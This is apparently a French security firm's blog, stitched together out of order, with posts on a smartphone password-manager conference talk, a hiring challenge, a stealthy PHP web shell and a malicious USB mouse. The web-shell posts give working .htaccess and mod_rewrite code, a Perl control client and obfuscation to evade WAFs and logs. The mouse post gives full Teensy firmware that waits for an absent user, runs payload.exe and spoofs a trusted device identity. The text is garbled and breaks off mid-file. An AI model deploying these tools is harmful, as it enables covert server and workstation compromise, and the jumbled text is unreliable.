Ceci rendant la souris plus rapide à détecter, moins consommatrice en courant et plus furtive (pas de hub usb, de « mass storage » de double périphérique de pointage). Et il sera aussi possible de détecter les mouvements et actions de l’utilisateur sur cette dernière.

Première étape réaliser une « vraie souris » :

Le but de cette étape est d’interfacer le Teensy avec les différents capteurs d’une souris (capteur de position optique, codeur de la molette, boutons).

Pour se faire nous allons nous aider de quelques librairies de l’environnement Teensyduino (Bounce, Encoder et OptiMouse). La librairie OptiMouse a été modifiée par nos soins pour prendre en charge le capteur de déplacement optique PAN301ASI-204 qui se trouvait dans la souris PS/2 qui à servi de base à notre souris malicieuse.

Intéressons-nous dans un premier temps à nos 2 intervenants russes et à la société Elcomsoft (http://www.elcomsoft.com) pour laquelle ils travaillent.

Andrey Belenko (http://www.belenko.ru , https://twitter.com/#!/andreybelenko) est chercheur et développeur en sécurité informatique.

Dmitry Sklyarov (https://twitter.com/#!/_Dmit) est lui aussi développeur, mais ce dernier est un peu plus connu car c’est lui qui a présenté le système de contournement de la protection anti-copie du format de fichier e-book Adobe à la Defcon (http://www.defcon.org) en 2001, cette présentation lui a d’ailleurs valu quelques mois de prison terminés par un procès, pour en conclure qu’Elcomsoft n’avait pas violé la loi américaine.

Elcomsoft est une société russe spécialisée dans les logiciels forensic allant de la récupération de mots de passe stockés ou de fichiers effacés jusqu’au cassage distribué de mots de passes chiffrés par GPU.

Cette conférence avait pour but de faire un état des lieux de la sécurité des différentes applications smartphone proposant le stockage de mots de passe de manière sécurisée, et dont certaines se disant utiliser des méthodes et des algorithmes aussi robustes que ceux des militaires.
La conférence a commencé par le rappel des différentes méthodes d’authentification présentes sur la plupart des smartphones actuels, c’est-à-dire L’UNIQUE méthode d’authentification basée sur un code plus ou moins long, ce qui a un impact direct sur la complexité du chiffrement du stockage des mots de passe.

(source: slides Elcomsoft)

D’autre part les capacités de calcul des smartphones limitent elles aussi la complexité du chiffrement afin que ceux-ci restent utilisables sans effet collatéral de lag.

Les intervenants ont testé 11 applications (gratuites pour certaines, et d’autres payantes) proposant une soit-disante méthode de chiffrement fiable et leurs conclusions sont alarmantes.

Les problèmes soulevés sont :
- Un chiffrement inexistant contrairement à ce qui est annoncé dans la « publicité » de l’application
- Un stockage en clair des clés de chiffrement sur le téléphone, permettant directement la récupération des mots de passe
- Des chiffrements utilisés faibles et cassables si l’on a une puissance de calcul suffisante, comme par exemple avec une carte graphique avec un GPU puissant

Voici ci-dessous une estimation des vitesses atteignables avec un ordinateur moyen afin de casser le mot de passe des différentes applications testées ayant un algorithme de chiffrement faible (CPU p/s: nombre de mots de passe testés par seconde en CPU, GPU p/s: nombre de mots de passe testés par seconde avec une carte graphique, Len/24h : taille de mot de passe testée en 24h) :

(source: slides Elcomsoft)

Certaines applications utilisent des algorithmes de chiffrement dépassés avec une seule itération, et permettent de tester toutes les combinaisons possibles afin de trouver le mot de passe de l’application très rapidement (exemple : 1 itération de MD5 ou de SHA1).

Nous voyons que les applications payantes ne sont pas forcément plus sécurisées que celles gratuites.

Le résultat de cette recherche est qu’en cas de vol d’un smartphone aucune des applications testées ne fourni une sécurité suffisante afin de protéger l’accès aux mots de passe stockés, il est donc possible de récupérer les fichiers de base de données contenant les mots de passe en contournant la sécurité du téléphone (exemple : jailbreak sur un iPhone 4), pour ensuite casser la clé de chiffrement et déchiffrer l’ensemble des mots de passe contenus dans ces applications.

Pour conclure, les deux intervenants nous rappellent certaines bonnes pratiques de sécurité concernant le stockage de mot de passe :
- Côté utilisateur : toujours utiliser un mot de passe complexe, ce qui ralentira les éventuelles tentatives de cassage par bruteforce, ainsi que d’éviter de connecter son téléphone à n’importe quel ordinateur (qui pourrait voler les fichiers du téléphone)

- Côté développeur : ne pas essayer de réinventer la cryptographie et s’informer sur les bonnes pratiques avant d’essayer de développer une application dite « sécurisée »

Remerciements: merci à Andrey Belenko de nous avoir fourni les slides de la conférence.

Jérémy

Nous allons reprendre ce web shell et lui ajouter un peu de d’obfuscation pour qu’il devienne encore moins traçable, à savoir :
- Encodage en base64 des requêtes
- Padding du payload : ajout de caractères ne servant à rien dans les requêtes afin d’empêcher le décodage automatique des payloads base64 par les WAF (Web Application Firewall)
- Envoi de contenu de taille variable en retour, afin de ne pas alerter les WAF avec une page de 0 octet)
- Manipulation des lettres dans les noms des fonctions PHP à base de str_replace : afin d’empêcher la détection de fonctions PHP (exemple : exec, base64_decode, base64_encode…)
- Changement de la page requêtée à chaque envoi de commande afin qu’il n’y ait pas plusieurs requêtes sur la même page qui se suivent dans les logs

Pour plus de lisibilité, on décrira le code sur plusieurs lignes et il est important de le remettre sur une seule si vous voulez que le web shell fonctionne .
Notre web shell PHP est actuellement sous la forme suivante :
exec($_SERVER['HTTP_NES']. » 2>&1″, $result);
header(« NES: « .implode(« \r\n « , $result));

Ajout de l’encodage en base64

Nous allons donc ajouter l’encodage en base64 afin de s’éloigner de la détection des WAF avec les commandes PHP base64_encode et base64_decode:
exec(base64_decode($_SERVER['HTTP_NES']). » 2>&1″, $result);
header(« NES: « .base64_encode(implode(« \r\n « , $result)));
Ici nous recevons les commandes en base64 et renvoyons le résultat en base64, il faut donc ajouter la gestion de la base64 dans notre client perl.
Nous allons donc remplacer les lignes suivantes de notre client perl:
my $response = $ua->get( $url, ‘NES’ => $cmd);
if ($response->header(‘NES’)) { return $response->header(‘NES’); }
Par celles-ci:
my $payload = encode_base64($cmd);
my $response = $ua->get( $url, ‘NES’ => $payload);
if ($response->header(‘NES’)) { return decode_base64($response->header(‘NES’)); }

Padding du payload

Nous allons rajouter des caractères ne servant à rien dans les requêtes afin de compliquer le décodage base64 des requêtes pour les WAF avec la commande PHP substr et en ajoutant 3 caractères inutiles « NES » :
exec(base64_decode(substr($_SERVER['HTTP_NES'],3)). » 2>&1″, $result);
header(« NES: NES ».base64_encode(implode(« \r\n « , $result)));
Modification du client perl :
my $payload = ‘NES’.encode_base64($cmd);
my $response = $ua->get( $url, ‘NES’ => $payload);
if ($response->header(‘NES’)) { return decode_base64(substr($response->header(‘NES’),3)); }

Envoi de contenu de taille variable en retour

Afin de ne pas alerter les WAF avec des requêtes vers des pages retournant 0 octet de contenu, nous allons retourner des caractères inutiles comme contenu de taille variable avec la fonction PHP echo, après l’envoi de notre en-tête :
Il faut tout d’abord ajouter « php_value output_buffering 1 » au dessus afin d’autoriser la manipulation du buffer, puis ajouter la ligne suivante :
exec(base64_decode($_SERVER['HTTP_NES']). » 2>&1″, $result);
header(« NES: « .base64_encode(implode(« \r\n « , $result)));
echo str_repeat(« NES », rand(0,5000));

Manipulation des lettres dans les noms des fonctions PHP

Afin d’obfusquer l’utilisation de fonctions PHP sensibles (exécution de code, encodage base64…) nous allons utiliser str_replace:

$b = « basxy4″. »_dxcodx »;
$b = str_replace(‘x’,'e’,$b);
$b = str_replace(‘y’,’6′,$b);
$e = str_replace(‘y’,'e’,'yxyc’);
$f = « basxy4″. »_xncodx »;
$f = str_replace(‘x’,'e’,$f);
$f = str_replace(‘y’,’6′,$f);
$g = str_replace(‘x’, ‘l’, ‘impxode’);
$h = str_replace(‘x’,'e’,'hxadxr’);
$e($b(substr($_SERVER['HTTP_NES'],3)). » 2>&1″, $o);
$h(« Server: NES ».$f($g(« \r\n « , $o)));

Changement de la page requêtée à chaque envoi de commande

Afin de changer de manière aléatoire le nom de la page requêtée, nous allons récupérer tous les liens du site et effectuer une requête aléatoirement sur un de ces liens.

Il faut ajouter les lignes suivantes dans le client perl, avant « sendExec » :
my $pages = `wget -O pages.tmp $url > /dev/null 2>&1 && egrep -o ‘[^>/\"]+[.](jsp|asp|aspx|html|php)’ pages.tmp | tr ‘\n’ ‘:’`;
Une fois ces noms de pages récupérés, nous allons les appeler de manière aléatoire :
On remplace :
my $response = $ua->get( $url, NES’ => $payload);
par:
my $page = $pages_list[int(rand(scalar(@pages_list)))];
my $url_rand = $url.’/’.$page;
my $response = $ua->get( $url_rand, ‘NES’ => $payload);
Notre client perl appelle donc maintenant des pages du site de façon aléatoire à chaque commande envoyée.

Notre admin réseau préféré a attrapé une bonne migraine en se cassant la tête à lire les logs Apache de nos requêtes…

Jérémy

Référence : http://www.justanotherhacker.com

Afin d’exploiter cette vulnérabilité, on envoie un Web Shell PHP classique ou un peu plus évolué (c99, c100, r57, 12309…) permettant d’exécuter des commandes à distance sur le serveur attaqué.

Malheureusement ce type d’attaque est souvent très peu discrète et un admin système consciencieux peut vite repérer le webshell.

Nous allons ici vous expliquer une méthode pour rendre cette attaque quasi-indétectable

Voici un exemple avec le classique web shell c99.php made in Russia (qui a dit mafia ?) :

 L’utilisation d’un web shell PHP classique laisse des traces, à plusieurs niveaux :

-          Création d’un nouveau fichier .php contenant le web shell sur le serveur

-          Traces dans les logs : en fonction du niveau de logs, on arrive facilement à détecter des traces suspectes dans le fichier de log access Apache, exemple :

On voit ici l’utilisation d’un fichier php inconnu auparavant, et avec des requêtes contenant des mots clefs suspects.

Un administrateur consciencieux surveillant un minimum ses logs n’aura pas de mal à détecter la présence d’un web shell et vous coupera l’accès à celui-ci rapidement :

Level 1

L’objectif de ce paper est donc de rendre notre webshell le plus indétectable possible sur un serveur web Apache avec les modules PHP et rewrite activés.

Afin de rendre plus difficile la détection de notre attaque, nous allons utiliser la puissance de mod_rewrite disponible par défaut sur notre cher serveur web Apache, pour plusieurs raisons :

-          Un fichier .htaccess est beaucoup moins suspect qu’un fichier .php car il peut sembler légitime

-          Il permet de passer certains filtres dans le cadre d’une fonction d’upload de fichiers

-          Il permet de manipuler la configuration Apache sans toucher au fichier httpd.conf

Le mod_rewrite d’Apache recharge le fichier .htaccess à chaque chargement de page, ce qui permet une modification à la volée de la configuration des pages et des réécritures, contrairement à IIS qui nécessite un redémarrage du serveur à chaque modification du fichier de configuration.

Il n’est donc pas possible d’utiliser les mêmes méthodes que nous allons décrire sur un environnement web IIS.

Par défaut, Apache refuse la lecture des fichiers .htaccess nécessaires au fonctionnement du mod_rewrite pour un visiteur avec les directives suivantes contenues dans le fichier .conf :

<Files ~ "^\.ht">

    Order allow,deny

    Deny from all

</Files>

Nous allons donc créer un fichier .htaccess forçant le droit de lecture de lui-même ( :) )  avec la directive suivante:

<Files ~ "^\.ht">

Order allow,deny

Allow from all

</Files>

Nous pouvons donc maintenant exécuter le .htaccess depuis nos requêtes classiques.

Afin de pouvoir lancer du code PHP dans le fichier .htaccess, nous forçons le type du fichier .htaccess en un type PHP :

AddType application/x-httpd-php .htaccess

Afin que la page du web shell utilisée ne soit pas tracée dans les logs Apache (exemple : GET /shell.php), nous allons utiliser un en-tête http spécial qui nous permettra d’atteindre le web shell sans trace, quelque soit la page appelée.

Nous décidons donc d’utiliser le nom d’en-tête « NES », nous créons ensuite une entrée pour le mod_rewrite afin qu’il nous redirige sur le web shell sans que cela soit dans les logs :

RewriteEngine on

RewriteCond %{HTTP:NES} !^$

RewriteRule .* .htaccess [L]

 A cet instant, dès que l’on appelle n’importe quelle page avec l’en-tête http « NES », nous sommes redirigés sur le .htaccess.

Afin de pouvoir exécuter du PHP dans le fichier .htaccess il est nécessaire que le code soit sur une ligne, et commençant par le caractère de commentaire « # » pour qu’il n’y ait pas de bug Apache.

On peut ensuite nous lancer dans la création de notre shell code PHP, sans oublier que nos payloads passeront par l’en-tête « NES » afin qu’ils ne soient pas tracés .

Il faut donc récupérer le payload de l’en-tête http NES afin de l’exécuter et d’ensuite retourner le résultat dans un autre en-tête NES de réponse :

#< ?php  exec($_SERVER['HTTP_NES']." 2>&1", $result); header("NES: ".implode("\r\n ", $result)); ?>

Afin de faciliter l’utilisation de ce web shell, nous allons créer un client perl en ligne de commande qui traitera les en-têtes http pour nous :

use warnings;

use strict;

use MIME::Base64;

use LWP::UserAgent;

 my $url = $ARGV[0];

pop(@ARGV);

my $ua = LWP::UserAgent->new;

$ua->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0) Gecko/20100101 Firefox/10.0');  On falsifie ici l’USER-AGENT afin de ne pas se faire remarquer :)

 sub sendExec($$) {

                my ($cmd, $ua) = @_;          

    my $response = $ua->get( $url, 'NES' => $cmd);        On récupère le résultat dans l'en-tête

                if ($response->header('NES')) { return $response->header('NES'); } On vérifie qu’il n’y a pas d’erreur

                print "\nErreur de connexion au web shell!\n";

                die();

}

my $cmd = '';

print "Connexion au Webshell sur $url...\n";

until ($cmd eq 'exit') {

    print "\nNES Web shell> ";

                my $cmd = '';

    $cmd = readline;

    chomp $cmd;       On récupère la commande à exécuter

                print sendExec($cmd, $ua);      On envoie la commande

}

Et voilà, nous pouvons maintenant utiliser notre client.pl avec la syntaxe suivante : perl client.pl [URL à falsifier]

Exemple sur une cible Windows :

Nous pouvons utiliser n’importe quelle URL car nous aurons dans tous les cas accès au web shell grâce à notre en-tête http personnalisé envoyé par notre interface perl.

Level 2

“The quieter you become the more you are able to hear”

Afin de compliquer la tâche des WAF (Web Application Firewall) et/ou de donner une migraine à notre administrateur sécurité du serveur ciblé, il est possible d’offusquer encore un peu plus notre web shell.

Pour ceci, il est possible d’utiliser plusieurs méthodes :

-          Encodage en base64 (qui permettra au passage une meilleure mise en page des résultats des commandes)

-          Padding du payload : ajout de caractères ne servant à rien dans les requêtes afin d’empêcher le décodage automatique des payloads base64

-          Manipulation des lettres dans les noms des fonctions PHP à base de str_replace : afin d’empêcher la détection de fonctions PHP (exemple : exec, base64_decode, base64_encode…)

-          Envoi de contenu de taille fixe en retour (afin de ne pas alerter les WAF avec une page de 0 octet)

-          Utilisation d’un en-tête HTTP plus discret

-          Changement de page de requête à chaque commande envoyée

Cette partie fera l’objet d’un prochain paper.

….. A SUIVRE …..

Jérémy

Référence : http://www.justanotherhacker.com

Suite à l’intérêt grandissant de notre équipe pour les challenges sécurité proposés sur internet, nous avons décidé de vous en proposer un sur notre blog et site.

Le challenge a deux intérêts :

1. Le premier, se faire plaisir en cherchant la solution aux différentes étapes qui vous seront proposées
2. Le second, plus terre à terre, permet à ceux qui le souhaitent de postuler pour un poste de consultant sécurité au sein de notre équipe. Le challenge traitant des problématiques de reverse engineering et d’analyse réseau, ceci nous permettra de recevoir des profils qui nous intéressent

En effet, a l’issue des 3 étapes de ce challenge, vous pourrez envoyer votre candidature à l’adresse mail qui vous sera proposée. Il faudra en plus, fournir le mot de passe trouvé au cours du challenge.

Le challenge est disponible sur le lien suivant : http://www.nes.fr/challenge/challenge-nes

Le fichier contient les 3 étapes du challenge.

Dans le cas, ou vous seriez bloqué à une étape, n’hésitez pas à nous envoyer vos premières trouvailles sur l’adresse challenge____at_____nes.fr !

Amusez-vous bien et merci à Stefan pour la création du challenge

Pôle R&D NES

Cette photo d’une souris modifiée par la société NETRAGARD circule sur Internet.

De quoi est faite cette souris un peu spéciale et à quoi peut-elle bien servir ?

Cette souris est composée de 4 éléments :

1. Une souris Optique USB standard (OEM)
2. Un hub USB 4 ports
3. Un microprocesseur Teensy
4. Un lecteur de cartes µSD USB

A quoi peut bien servir une telle souris ?

Cette souris peut servir à réaliser de nombreuses attaques :

1. Un outil malicieux qui réalise des actions sur le poste de la victime (déplacement de la souris, frappes de touches au clavier).
2. Le dépôt de virus ou trojan sur le poste de la victime (le code malveillant peut être téléchargé depuis Internet ou bien exécuté depuis la carte µSD).
3. Compromettre le poste de l’utilisateur par la création d’un compte utilisateur sur ce dernier.
4. Un système de collecte de données (exfiltration de fichiers sur la carte µSD intégrée).
5. Un outil de marketing qui dirige l’utilisateur sur un site web lors de son branchement, ou lance un programme contenu sur la carte µSD.
6. …

La seule photo disponible sur Internet ne nous aide pas beaucoup pour concevoir notre propre souris malicieuse. Nous allons donc réaliser un diagramme des composants de cette souris.

Nous allons donc rechercher ces différents éléments avec comme critère une taille la plus réduite possible.

 Voici les éléments qui composeront notre souris de la gauche vers la droite :

Une souris USB Optique OEM
Un HUB USB 2 ports avec lecteur micro SD intégré
Un microprocesseur Teensy 2.0
Une carte micro SD 2GB

Construction de la souris :

Vue de dessous du HUB USB avec lecteur micro SD intégré.

Le cordon USB de la souris est coupé puis connecté au HUB USB.

Le port n°1 du HUB USB est ensuite reconnecté au circuit de la souris optique USB.

Le second port du HUB USB est connecté à un connecteur mini usb qui assurera le branchement au microcontrôleur Teensy 2.0.

La carte micro SD est insérée dans le lecteur intégré du HUB USB.

Vue de dessus du HUB USB.

Version finalisée de la souris USB malicieuse.

Maintenant que la souris est fonctionnelle, il faut lui définir son comportement malicieux.

Ceci est réalisé par la programmation du microprocesseur Teensy.

Des exemples de programmes pour ce microprocesseur peuvent facilement être trouvés sur Internet :

http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle

http://www.pjrc.com/teensy/td_keyboard.html

http://www.pjrc.com/teensy/td_mouse.html

Pour aller plus loin :

Voici une liste de problèmes/limitations qui sont apparus lors de l’utilisation de cette souris pour compromettre un poste :

• Ne fonctionne que sur une gamme d’OS (Windows, Linux, MacOS, …) : le payload du teensy doit être conçu en fonction de l’OS ciblé (raccourcis claviers, outils, répertoires  différents).
• Problème de détection d’une session locké.
• Problème de détection de l’inactivité utilisateur.
• Détection de certains payloads/scripts par l’antivirus du poste
• Certaines actions ne sont pas furtives (détection du périphérique, 1^er lancement de powershell).
• Problème de langue de saisie (EN, FR, JP, …)

Pour le 1^er point nous nous sommes focalisés uniquement sur les OS de type Windows (Win XP, Win7).

Pour le second point une astuce tirant partie de la carte SD intégrée à la souris a été employée.
En effet pour déterminer si la session est verrouillée le Teensy va lancer une commande (script VBS sur la carte microSD 2Go) à intervalles réguliers qui change l’état d’un témoin lumineux du clavier (par exemple « caps lock ») si la session est « lock », il n’est pas possible de lancer ce script, alors le témoin lumineux ne changera pas d’état, si le témoin lumineux a changé d’état, alors la session n’est pas « lock » et le teensy replace le témoin dans son état initial. Visuellement cela se traduit par un bref changement d’état (1 à 2 secondes) sur l’un des témoins lumineux du clavier quand la session n’est pas « lock ».

Pour le 3^ème point de nombreuses techniques ont été répertoriés sur Internet, parmi celles-ci  on trouve :

1. Le lancement du payload après une temporisation déterminée.
2. La détection de l’environnement immédiat du Teensy (capteur de lumière, son, accéléromètre, …)
3. L’ajout d’un composant de télécommande à distance (Bluetooth, IR, Wifi, …)
4. Le phishing de l’utilisateur (changement du caps lock ou verr num).

Nous avons retenu la 4^ème solution, plus simple à mettre en place et moins hasardeuse qu’une temporisation fixe.

Pour le 4^ème point il faut utiliser un payload original (packer perso) et le tester sur différents antivirus (Ex virustotal.com).

Pour le 5^ème point, il faut limiter le plus possible les tests (utiliser de grandes temporisations), utiliser le moins possible powershell (voir pas du tout).

Nous avons aussi changé les PID, VID du teensy dans usb_private.h pour qu’il soit reconnu comme un clavier/souris Keytronic les drivers sont reconnus par Windows nativement (cela évite une longue recherche du pilote sur Windows Update).

Nous avons aussi changé le nom du produit par « Secure Mouse TPM » pour ne pas trop éveiller les soupçons de l’utilisateur lors de la détection du périphérique .

Pour le 6^ème point Nous avons placé le clavier en Français avec un code page en FR (il faut prier pour que le système cible soit en français, sinon c’est le FAIL).

Pour aller encore plus loin  (TO-DO):

A terme ce qui serait intéressant, serait de rassembler les fonctionnalités de la souris et du stockage sur carte SD directement sur le Teensy.

Ainsi :

• La détection des périphériques sera plus rapide (pas de hub usb de souris HID en double).
• il n’y aura plus besoin de hub USB.
• le stockage de masse ne sera plus visible par l’OS mais géré par le Teensy (HID mass storage ou RAW USB).
• Le Microprocesseur teensy pourra en plus détecter l’absence de l’utilisateur par l’absence de mouvements de la souris.
• La consommation électrique sera plus réduite (pas de hub usb, pas de souris usb complète).

Ceci sera prochainement traité dans un prochain papier

Annexes :
Voici le code complet du Teensy en C arduino :

#include « usb_private.h »

#include « usb_api.h »

/*

The following is Irongeek’s code to do simple keyboard/mouse functions with the Teensy, including

something like U3 functionality that will work even if autorun is disabled.

http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle

To learn more about Teensyduino see:

http://www.pjrc.com/teensy/teensyduino.html

http://www.arduino.cc/en/Reference/HomePage

Look in arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_api.h for key definitions

Edit arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_private.h to change USB Vendor and Product ID

Modification By NES (avanetti_at_nes.fr) 2011/10

*/

int ledPin = 11;

int COLD_INIT = 0;

int PAYLOAD_STARTED = 0;

unsigned long LastTimerCheck = millis();

unsigned long loop_count = 0;

unsigned long max_loop_count = 1;

// unsigned long max_minutes_count = 5;

// The setup() method runs once, when the sketch starts

void setup() {

// initialize the digital pin as an output:

delay(3000);  // safe guard

pinMode(ledPin, OUTPUT);

}

// the loop() method runs over and over again,

// as long as the Arduino has power

void loop()

{

while (!usb_configuration) {  // Wait for USB to be ready

BlinkLed();

delay(3000);

COLD_INIT = 1;

BlinkLed();

delay(3000);

}

while (!usb_configuration) {  // Wait for USB to be ready

BlinkLed();

delay(1000);

COLD_INIT = 1;

BlinkLed();

delay(1000);

}

digitalWrite(ledPin, HIGH);

if (((millis() – LastTimerCheck) >= (1000 + random(0,59000))) && !PAYLOAD_STARTED) {

loop_count++;

if (loop_count > (max_loop_count + 1)) {

loop_count = 0;

if (!isWinLock()) {

if (!isUserPresent()) {

start_payload();

PAYLOAD_STARTED = 1;

}

delay(30000);  // wait longer be more sneaky

}

delay(30000); // wait longer be more sneaky

}

LastTimerCheck = millis();

}

delay(100);

digitalWrite(ledPin, LOW); // set the LED off

delay(100); //keeps commands from being sent one after the other too fast

}

void BlinkLed(){

int BlinkCounter=0;

for (BlinkCounter=0; BlinkCounter!=10; BlinkCounter++){

digitalWrite(ledPin, HIGH);

delay(50);

digitalWrite(ledPin, LOW); // set the LED off

delay(50);

}

}

void CommandAtRunBar(char *SomeCommand){

bool cps_state=isCapsLockOn();

if (cps_state) {   // If caps lock is ON set it OFF

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(50); // let buffer settle

}

digitalWrite(ledPin, HIGH); // set the LED on

Keyboard.set_modifier(128); //Windows key

Keyboard.set_key1(KEY_R); // use r key

Keyboard.send_now(); // send strokes

delay(50); // let buffer settle

Keyboard.set_modifier(0); //prep release of control keys

Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.

Keyboard.send_now(); //Send the key changes

delay(50); // let buffer settle

Keyboard.print(SomeCommand);

delay(200); // let buffer settle

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

delay(50); // let buffer settle

Keyboard.set_key1(0);

Keyboard.send_now();

delay(50); // let buffer settle

digitalWrite(ledPin, LOW); // set the LED off

if (cps_state) {  // If caps lock was ON set it back to ON

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(50); // let buffer settle

}

}

void PressAndRelease(int KeyCode,int KeyCount){

int KeyCounter=0;

for (KeyCounter=0; KeyCounter!=KeyCount; KeyCounter++){

Keyboard.set_key1(KeyCode); // use r key

Keyboard.send_now(); // send strokes

delay(50); // let buffer settle

Keyboard.set_key1(0);

Keyboard.send_now(); // send strokes

delay(50); // let buffer settle

}

}

int isUserPresent() {

bool initial_state=isCapsLockOn();

bool new_state;

bool final_state;

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(100); // let buffer settle

new_state=isCapsLockOn();

if (new_state == initial_state) { return 1; } // probleme le caps lock n’a pas change …

for (int t=0; t<15; t++) {  // 15 tests => 15 secondes

delay(1000); // attendre 1 seconde

final_state=isCapsLockOn();

if (final_state != new_state) { return 1; } // changement de l’etat du caps lock par l’utilisateur !

}  // 15 tests OK

// on remet le caps lock dans son état précédent

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(50); // let buffer settle

return 0; // pas de changement (utilisateur absent ?)

}

int isWinLock() {

bool initial_state=isCapsLockOn();

bool new_state;

bool final_state;

CommandAtRunBar(« cmd /c for /F %i in (‘WMIC logicaldisk where \ »DriveType=2\ » list brief ^| find \ »NESMOUSE\ »‘) do %i\\tc.vbs »);

delay(5000); // wait 5 sec for program to run / or not

new_state=isCapsLockOn();

if (new_state == initial_state) {

return 1; // le caps lock n’a pas change … (la session Windows est lock)

} else {

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(50); // let buffer settle

return 0;  // le caps lock a pas changé … (la session Windows n’est pas lock)

}

return 1; // on ne doit pas arriver ici normalement !

}

// Checks if the NUM is on

bool isNumLockOn() {

return bitRead(int(keyboard_leds), 0);

}

// Checks if the CAPS is on

bool isCapsLockOn() {

return bitRead(int(keyboard_leds), 1);

}

// Release the key

void sendNull() {

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(50); // let buffer settle

}

void start_payload() {

CommandAtRunBar(« cmd /c for /F %i in (‘WMIC logicaldisk where \ »DriveType=2\ » list brief ^| find \ »NESMOUSE\ »‘) do %i\\payload.exe »);

delay(5000);

BlinkLed();

}

Voici le code de usb_private.h modifié :

// Modification By NES (avanetti_at_nes.fr) 2011/10

#ifndef usb_serial_h__

#define usb_serial_h__

#include <stdint.h>

#ifdef __cplusplus

extern « C »{

#endif

/**************************************************************************

*

*  Configurable Options

*

**************************************************************************/

/*

VID 0446 PID 6781  DeviceDesc= »NMB USB Keyboard Mouse »

VID 05FA PID 3301  DeviceDesc= »STSL USB Keyboard Mouse »

VID 05FA PID 3303  DeviceDesc= »STSL USB Keyboard Mouse »

VID 05d5 PID 6782  DeviceDesc= »SUPERGATE USB Keyboard Mouse »

VID 04F2 PID 0001  DeviceDesc= »Chicony USB Keyboard Mouse »

VID 03F9 PID 0102  DeviceDesc= »Key Tronic USB Keyboard Mouse »

VID 046E PID 6782  DeviceDesc= »BTC USB Keyboard Mouse »

VID 05B2 PID 7200  DeviceDesc= »Focus USB Keyboard Mouse »

*/

// Keytronic Keyb / Mouse

#define VENDOR_ID               0x03F9

#define PRODUCT_ID              0×0102

// Silitek Keyb / Mouse

// #define VENDOR_ID               0x047B

// #define PRODUCT_ID              0×0002

// Acer Keyb / Mouse

// #define VENDOR_ID               0x04A5

// #define PRODUCT_ID              0×0003

// Cypress Keyb / Mouse

// #define VENDOR_ID               0x04B4

// #define PRODUCT_ID              0×8329

// Samsung Keyb / Mouse

// #define VENDOR_ID               0x055D

// #define PRODUCT_ID              0×6781

// Monterey International Keyb / Mouse

// #define VENDOR_ID               0×0566

// #define PRODUCT_ID              0×2801

// Ortek Technology

// #define VENDOR_ID               0x05A4

// #define PRODUCT_ID              0×9720

// Fingerworks

// #define VENDOR_ID               0x0E97

// #define PRODUCT_ID              0×0908

// HP

// #define VENDOR_ID               0x03F0

// #define PRODUCT_ID              0×1027

// Microsoft Keyboard

// #define VENDOR_ID               0x045E

// #define PRODUCT_ID              0x000B

// Broadcom Secure Keyboard

// #define VENDOR_ID               0x0A5C

// #define PRODUCT_ID              0×5803

// #define VENDOR_ID               0x16C0

// #define PRODUCT_ID              0×0482

#define TRANSMIT_FLUSH_TIMEOUT  4   /* in milliseconds */

#define TRANSMIT_TIMEOUT        25   /* in milliseconds */

/**************************************************************************

*

*  Endpoint Buffer Configuration

*

**************************************************************************/

// These buffer sizes are best for most applications, but perhaps if you

// want more buffering on some endpoint at the expense of others, this

// is where you can make such changes.  The AT90USB162 has only 176 bytes

// of DPRAM (USB buffers) and only endpoints 3 & 4 can double buffer.

// 0: control                     32     64

// 1: debug IN                          64     64×2

// 2: debug OUT                         32     32×2

// 3: keyboard IN                 8×2    8×2

// 4: mouse + joystick IN  (IDs)  8×2    8×2

// 5: midi IN                           64×2

// 6: midi OUT                                 64×2

#if defined(__AVR_ATmega32U4__) || defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__)

#define STR_PRODUCT             L »Secure Mouse TPM »

#define ENDPOINT0_SIZE          64

#define DEBUG_INTERFACE           2

#define DEBUG_TX_ENDPOINT  1

#define DEBUG_TX_SIZE             64

#define DEBUG_TX_BUFFER           EP_DOUBLE_BUFFER

#define DEBUG_TX_INTERVAL  1

#define DEBUG_RX_ENDPOINT  2

#define DEBUG_RX_SIZE             32

#define DEBUG_RX_BUFFER           EP_DOUBLE_BUFFER

#define DEBUG_RX_INTERVAL  2

#define KEYBOARD_INTERFACE 0

#define KEYBOARD_ENDPOINT  3

#define KEYBOARD_SIZE             8

#define KEYBOARD_BUFFER           EP_DOUBLE_BUFFER

#define KEYBOARD_INTERVAL  1

#define MOUSE_INTERFACE           1

#define MOUSE_ENDPOINT            4

#define MOUSE_SIZE         8

#define MOUSE_BUFFER              EP_DOUBLE_BUFFER

#define MOUSE_INTERVAL            1

// #define MIDI_INTERFACE         3

// #define MIDI_TX_ENDPOINT       5

// #define MIDI_TX_SIZE           64

// #define MIDI_TX_BUFFER         EP_DOUBLE_BUFFER

// #define MIDI_RX_ENDPOINT       6

// #define MIDI_RX_SIZE           64

// #define MIDI_RX_BUFFER         EP_DOUBLE_BUFFER

#define NUM_ENDPOINTS             6

// #define NUM_ENDPOINTS          7

#define NUM_INTERFACE             3

// TODO: implement MIDI

//#define STR_PRODUCT           L » Secure Mouse TPM »

//#define NUM_INTERFACE           4

#elif defined(__AVR_AT90USB162__)

#define STR_PRODUCT             L »Secure Mouse TPM »

#define ENDPOINT0_SIZE          32

#define DEBUG_INTERFACE           2

#define DEBUG_TX_ENDPOINT  1

#define DEBUG_TX_SIZE             64

#define DEBUG_TX_BUFFER           EP_SINGLE_BUFFER

#define DEBUG_TX_INTERVAL  2

